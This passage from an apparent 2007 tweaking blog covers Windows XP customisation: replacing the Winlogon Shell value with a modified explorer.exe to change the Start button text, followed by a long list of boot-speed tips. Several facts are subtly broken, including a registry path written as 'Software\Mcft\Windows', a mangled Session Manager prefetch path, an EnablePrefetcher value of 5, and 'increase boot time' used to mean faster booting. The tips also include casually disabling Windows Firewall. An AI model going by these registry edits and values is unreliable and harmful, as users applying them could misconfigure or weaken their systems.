There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry

Second Step – Modify the Registry

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

the right pane (Fig. 05), double click the Shell entry to open the Edit String dialog box as shown in Fig. 06. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

u can ofcource change the text of other Baloon Items , My Computer Name, Favourites and so on many more..

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Speed up ur xp

Posted by cracksandhacks on October 2, 2007

Speed up the booting of your XP
run -> msconfig – Hit Enter
Whenever you start your computer, you are faced with a few moments of thumb
twiddling while Windows XP boots and prompts you to log on. Although you
should expect to wait for a few moments, sometimes Windows XP seems to boot
rather slowly. In fact, you may notice that over a period of time the PC that used
to roar to life seems a bit sluggish instead. Fortunately, you can perform several
techniques that help Windows XP get the bootup speed you want. This Article
explores how to put these techniques to work.
Stopping Unneeded Startup Services !
Along with the core operating system and programs that Windows XP runs
when it starts, there is also a host of services involved. Many of these services are
necessary for Windows XP to operate correctly. However, many of them are for
features in Windows XP that you may not use at all. You can peruse the services
and disable any service that you do not want to run. The fewer services that run,
the more quickly Windows XP will boot.
Caution:
Exercise caution when stopping services. If you do not know what a service does
or are unsure of the ramifications of stopping the service, leave it alone. Some
services are critical to Windows XP’s operations, so make sure you understand
what the service is before you disable it.
To reduce the number of services that start on bootup, you can access two
different areas of Windows XP. The first is the System Configuration Utility. The
Services tab shows you the services that start when the computer boots.
You can stop a service from starting by simply clearing the check box next to the
service and clicking OK. However, before you do so, there is another way to
disable services that you may prefer because the interface gives you more
information about the service in question.
Open Control Panel/Administrative ToolsServices or else select Start/Run, type
services.msc, and click OK. Either way, you see the Services console.
I prefer to use the Services console instead of the System Configuration Utility
because it describes what the service does. Additionally, you can double-click a
service and examine its properties.
Notice the Startup Type column in Figure 4-2. This information lists whether the
service is automatic or manual. Manual services are only started in Windows XP
when you start a process that requires the service. Some other process may
require the service that has a “dependency” relationship with it; in this case, the
dependency service will start, as well. Because these services do not start
automatically when you boot Windows XP, you do not need to do anything with
manual services.
However, all services listed as automatic start when Windows XP boots. These
are the services that increase boot time. As I have mentioned, many of them are
necessary and important, so you should not stop automatic services from booting
unless you are sure of the ramifications. You can get this information by looking
at the Description column. Here’s a quick look at common services you may want
to live without:
SPEED UP BOOT BY DISABLING UNUSED PORTS.!!
You may have tried many tweaks like modifying windowsXP start-up
applications, prefetches, unload DLLs method,etc. And yes those methods do
work for me.
I have just accidentally found out another way to give you an extra boost in
windowsXP’s boot performance. This is done by disabling your unused devices in
Device Manager. for example, if you don’t have input devices that are connected
to one of your USBs or COM ports, disabling them will give you an extra
perfromance boost in booting. Go to Control Panel -> System -> Hardware tab -
> device manager Disable devices that you don’t use for your PC and then
restart.
Do Dis !!
1.Start Registry Editor (Regedit.exe).
2.Locate the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionMan
ager\MemoryManagement\PrefetchParameters
3.Make sure you backup the keys by exporting them to a .reg file.
4.On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).
5.Close the registry editor.
6.Restart your computer
Automatic Updates !
This service enables Windows XP to check the Web automatically for updates. If
you don’t want to use Automatic Updates, you can disable the service. You can
always check for updates manually at the Windows Update Web site.
Computer Browser: If your computer is not on a network, you don’t need this
service. If you are on a network, leave it alone.
DHCP Client: If you are not on a network, you do not need this service. If you
are on a small workgroup, you can still increase boot time by configuring manual
IP addresses (which I explore later in this chapter).
DNS Client: If you are not on a network, you do not need this service. If you are,
leave it alone.
Error Reporting and Event Log: You don’t have to use these services but they
can be very helpful, so I would leave them configured as automatic.
Fax: If you don’t use your computer for fax services, you can disable this one.
Help and Support: If you never use the Windows XP Help and Support Center
(found on the Start menu), you can disable this service.
IMAPI CD-Burning COM: This service enables you to burn CDs on your
computer. If you never burn CDs, you can disable the service.
Indexing Service: Your computer keeps an index of files but if you rarely search
for files, the service is just a resource hog. You can stop it and turn the service to
manual.
Windows Firewall/Internet Connection Sharing: If you do not use these features,
you can disable them.
Infrared Monitor: If you do not use infrared devices, you can disable this service.
Messenger: This service sends alert messages on a local area network (it is not
the same as Windows Messenger). If you are not on a network, you can disable
this service.
Print Spooler: If you do not do any printing from the computer, you can disable
this service. If you print, make sure you leave it as automatic.
Remote Registry: This service allows remote users to modify the Registry on
your computer. If you are not on a network, you can disable this service.
System Restore Service: This service allows you to use System Restore. If you
have turned off System Restore anyway, you do not need to turn off the service.
If you do, you turn off System Restore.
Themes: If you do not use themes, you can disable this service.
Windows Image Acquisition: If you do not use scanners or digital cameras, you
can disable this service.
Wireless Zero Configuration: If do not use wireless networking devices, you can
disable this service.
You may have a number of other automatic services, depending on software and
other configurations on your computer. So it’s a good idea to look through the
services and learn more about them. If you double-click a service, a Properties
dialog box appears
Notice that on the General tab, you see a Startup Type drop-down menu. If you
want to change an automatic service to manual, select Manual here and click
OK. As a general rule, don’t disable a service unless you are sure you will never
use it. However, manual configuration allows the service to be started when you
find it necessary, thus speeding up your boot time.
However, before you change a service to manual, look at the Dependencies tab
(see Figure 4-4). This tab shows you which other services depend upon the
service you are considering changing.
Keep in mind that services are necessary for the vast functionality you get with
Windows XP. Change only those services that you understand and do not use.
How you use your Windows XP computer should be the best guide in terms of
optional startup services.
Tip !
The Indexing service and the System Restore service take up a lot of disk space
and system resources across the board. You can live without the Indexing service
but I suggest that you keep using System Restore. It works great when you are in
a bind and this is one case where the loss of speed may not be worth the
ramifications of not using System Restore.
Speed Tips and Tricks for Windows XP Startup
Aside from startup programs, services, and the Prefetch folder, there are a
number of other startup procedures and issues you can modify to help Windows
XP start faster. The following sections explore those tips and tricks.
Manual IP Addressing on Small Office/Home Networks
Windows XP is configured to help you take care of networking. It uses the
TCP/IP protocol for networking in workgroups, or what you might call small
office or home networks that do not use a dedicated server.
The problem is that automatic IP addressing can be slow. When your computer
boots, it has to query the network to see what IP addresses are already in use and
then assign itself one. If you want to speed up the boot time a bit, consider
manually assigning IP addresses to all computers on the network. This way, the
network computers do not have to worry about locating an automatic IP
address. Because one is manually configured, the operating system doesn’t have
to spend time solving this problem.
This isn’t a networking book, however, so I won’t delve into the implications of
using a manual IP address, but if you are using a computer that functions as a
host computer to the Internet (using Internet Connection Sharing [ICS]), you
can get into connectivity problems if you change the configuration of the IP
address. However, you can still work around this problem by starting with the
ICS host computer.
Select Start/Connect To/Show All Connections. Right-click your network
adapter card and click Properties. On the General tab, select TCP/IP in the list
of services and click the Properties button.
In the TCP/IP properties, you can see if you use an automatic or manual IP
address. In the example in Figure 4-5, I have configured a manual IP address of
90.0.0.1 and a default subnet mask. The other computers on my office network
each use a different IP address in the same class, such as 90.0.0.2, 90.0.0.3,
90.0.0.4, and so on. This way, each computer has a permanent IP address, which
helps increase boot time. Note that if you change the IP addresses of your
computers, they must all use the same subnet mask. A default subject mask of
255.255.255.0 will keep you in good shape.
Make sure you understand the implications of changing IP addresses on your
network. If you have no networking experience at all, you may be wiser to leave
the automatic IP addressing as is and try to gain some speed using the additional
suggestions in this chapter.
Disabling Recent Documents History !
Windows XP includes a feature that keeps track of all recent documents you
have opened or used. The idea is that you can select Start/Recent Documents
History and quickly reopen any document you have recently used. I use many
documents each day and never use the feature myself. In my opinion, I can keep
up with what I want to use without Windows XP doing it for me.
The bad thing about Recent Documents History is that Windows XP has to
calculate what should be put there each time you boot Windows, which can slow
things down. So, if you never use the Recent Documents History, it’s a good idea
to disable it. Here’s how:
1. Open the Registry Editor (select Start/Run, type regedit, and click OK).
2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\
CurrentVersion\Policies\Explorer.
3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open
it once it is created.
4. Set the Data Value to 1 to enable the restriction.
5. Click OK and close the Registry Editor. You’ll need to restart the computer
for the change to take effect.
Disabling the Boot Logo !
You can remove the boot logo that appears when you start Windows XP. This
little tweak probably shaves only a few seconds off your boot time but seconds
count if you are serious about trying to get Windows XP up and running as
quickly as possible. The only negative is that if you remove the boot logo, you will
also not see any boot messages, such as check disk. (But if you are not having
problems with your computer, this isn’t such a big deal.)
To remove the boot logo, follow these steps:
1. Select Start/Run, type msconfig, and click OK.
2. In the System Configuration Utility, click the BOOT.INI tab.
3. On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK.
Removing Unwanted Fonts !
One trick that increases your boot time a bit is to lose any fonts in the Fonts
folder in Control Panel that you never use. The more fonts you have, the more
processing Windows XP has to do to prep all of those fonts for use. You must be
a bit careful here to not remove fonts that you might want, but there is a good
chance that you can live without many of them. For instance, you may have
foreign language fonts and other symbol fonts (such as Wingdings) that you
never use.
To delete unneeded fonts, follow these steps:
1. Open the Fonts folder in Control Panel.
2. Select Edit/Select All and then Edit/Copy.
3. Create a new folder on your desktop, open it, and select Edit/Paste.
4. In this new folder, delete any of the fonts you do not want.
5. Return to the Fonts folder in Control Panel. Right-click the selected fonts and
click Delete.
6. Go back to your new desktop folder and click Edit/Select All.
7. Return to your Fonts folder and click Edit/Paste. You now have only the
desired fonts in the Fonts folder.
Tip:
You can directly delete fonts from the Fonts folder without creating the
secondary folder. However, I recommend the preceding steps to help ensure that
you do not make a mistake in the deletion process.
Stopping Remote Assistance and Remote Desktop Sharing !
In Windows XP Professional, you have two remote networking features called
Remote Assistance and Remote Desktop Sharing. These remote networking
features are very helpful in a variety of situations but if you don’t use them, it is
good idea to disable them to save boot time. You can always enable them later if
you want to use them.
Note:
If you are interested in using Remote Desktop or Remote Assistance, see my
book Windows XP for Power Users: Power Pack published by John Wiley &
Sons.
1. Open the Start menu, right-click My Computer, and choose Properties.
2. Click the Remote Tab.
3. Clear both check boxes to disable Remote Assistance and Remote Desktop.
Speeding Up the Dual-Boot Timeout !
If you dual-boot your computer with Windows XP and another operating
system, you see an operating system selection menu on startup. If you typically
boot into Windows XP and not the other operating system, you can speed up the
dual-boot timeout value so that you do not wait so long for the boot process to
select your default operating system and continue with the boot process. The
default timeout value is 30 seconds but you can change this setting to 10. This
gives you enough time to select the alternate operating system if you want but
also speeds up the boot process. You can skip this section if you do not use a
dual-boot configuration.
Follow these steps:
1. Locate the boot.ini file on your computer. It is a hidden file by default; mine is
located in C:\boot.ini.
2. Open the file with Notepad (which is what opens it by default).
3. Change the Timeout value to 10 (see Figure 4-11).
4. Select File/Save and close Notepad.
Speeding Up Your PPPoE Connection !
If you use a Point-to-Point Protocol connection over Ethernet (PPPoE), you may
notice a delay in using the PPPoE connection after startup. By default, there is a
120 second delay but you can stop this behavior by manually configuring an IP
address for the network adapter card. If you do not use a PPPoE connection, you
can skip this section.
1. Select Start/Connect to/Show All Connections.
2. Open the TCP/IP properties for your LAN network interface card.
3. Manually set the IP address on the TCP/IP properties to an appropriate IP
address and subnet mask for your network.
Reducing the Wait Time
When you start to shut down Windows XP, it has to quit, or “kill,” any live
applications or processes that are currently running. So close all applications
first. However, some applications and processes are always running in the
background. You can reduce the amount of time that Windows XP waits for
those applications and processes to close before Windows XP kills them. Edit
three different Registry settings to change this:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop. Select
WaitToKillAppTimeout and set the value to 1000.
3. Select the HungAppTimeout value and set it to 1000 as well.
4. Navigate to HKEY_USERS\.DEFAULT\Control Panel\Desktop. Set the
WaitToKillAppTimeout and set the value to 1000. Select the HungAppTimeout
\newline value and set it to 1000 as well.
5. Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control.
Select the WaitToKillServiceTimeout value and set it to 1000.
6. Close the Registry Editor.
Automatically Killing Tasks on Shutdown !
You know the drill. You start to shut down the computer, you wait a few
moments, and then you see a dialog box asking if you want to kill an application
or service that is running. Instead of prompting you, you can make Windows XP
take care of the kill task automatically. Here’s how:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop.
3. Highlight the value AutoEndTasks and change the value to 1.
4. Close the Registry Editor.

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